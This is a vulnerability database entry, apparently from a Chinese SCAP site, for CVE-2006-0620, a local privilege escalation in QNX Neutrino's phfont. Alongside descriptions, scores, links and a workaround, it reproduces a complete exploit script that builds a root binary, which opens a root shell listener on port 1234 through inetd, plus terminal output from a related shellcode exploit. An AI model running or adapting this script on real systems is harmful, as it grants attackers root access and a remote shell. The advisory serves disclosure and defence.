CVE-2006-0620
CVSS6.2
发布时间 :2006-02-08 21:02:00
修订时间 :2011-03-07 21:30:27
NMCOE    

[原文]Race condition in phfont in QNX Neutrino RTOS 6.2.1 allows local users to execute arbitrary code via unspecified manipulations of the PHFONT and PHOTON2_PATH environment variables.


[CNNVD]QNX Neutrino本地权限提升漏洞(CNNVD-200602-121)

        QNX Neutrino是嵌入式设备的微内核实时操作系统。
        QNX Neutrino的"phgrafx"工具中存在缓冲区溢出漏洞,恶意用户可以利用这个漏洞在本地获得权限提升。
        例如:
        qnx$ uname -a; id
        QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
        uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
        qnx$ gcc phex.c -o phex -W
        qnx$ ./phex
        shellcode length: 21
        address: 0x8047a2c
        Warning: can not find palette under '55

- CVSS (基础分值)

CVSS分值: 6.2 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:qnx:rtos:6.2.1a
cpe:/a:qnx:rtos:6.2.1b
cpe:/a:qnx:rtos:6.2.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0620
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0620
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-121
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0474
(UNKNOWN)  VUPEN  ADV-2006-0474
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
(UNKNOWN)  IDEFENSE  20060207 QNX Neutrino RTOS phfont Race Condition Vulnerability
http://secunia.com/advisories/18750
(VENDOR_ADVISORY)  SECUNIA  18750
http://xforce.iss.net/xforce/xfdb/24555
(UNKNOWN)  XF  qnx-phfont-race-condition(24555)
http://www.securityfocus.com/bid/16539
(UNKNOWN)  BID  16539
http://www.osvdb.org/22963
(UNKNOWN)  OSVDB  22963
http://securitytracker.com/id?1015599
(UNKNOWN)  SECTRACK  1015599

- 漏洞信息

QNX Neutrino本地权限提升漏洞
中危 未知
2006-02-08 00:00:00 2006-02-10 00:00:00
本地  
        QNX Neutrino是嵌入式设备的微内核实时操作系统。
        QNX Neutrino的"phgrafx"工具中存在缓冲区溢出漏洞,恶意用户可以利用这个漏洞在本地获得权限提升。
        例如:
        qnx$ uname -a; id
        QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
        uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
        qnx$ gcc phex.c -o phex -W
        qnx$ ./phex
        shellcode length: 21
        address: 0x8047a2c
        Warning: can not find palette under '55

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.qnx.com

- 漏洞信息 (1479)

QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit (EDBID:1479)
QNX local
2006-02-08 Verified
0 kokanin
N/A [点击下载]
#!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723      30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86 
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root  /bin/sh       sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
} 
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*

# milw0rm.com [2006-02-08]
		

- 漏洞信息

22963
QNX Neutrino RTOS phfont Path Subversion Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

QNX Neutrino RTOS contains a flaw that may allow a local attacker to gain increased privileges. The flaw is due to the phfont program calling the phfontphf utility in an insecure fashion. By manipulating the PHFONT and PHOTON2_PATH environment variables, it is possible to call an arbitrary file that will be run with root privileges.

- 时间线

2006-02-07 2004-09-29
Unknow Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: Restrict access to the phfont binary, or remove SUID privileges from it

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站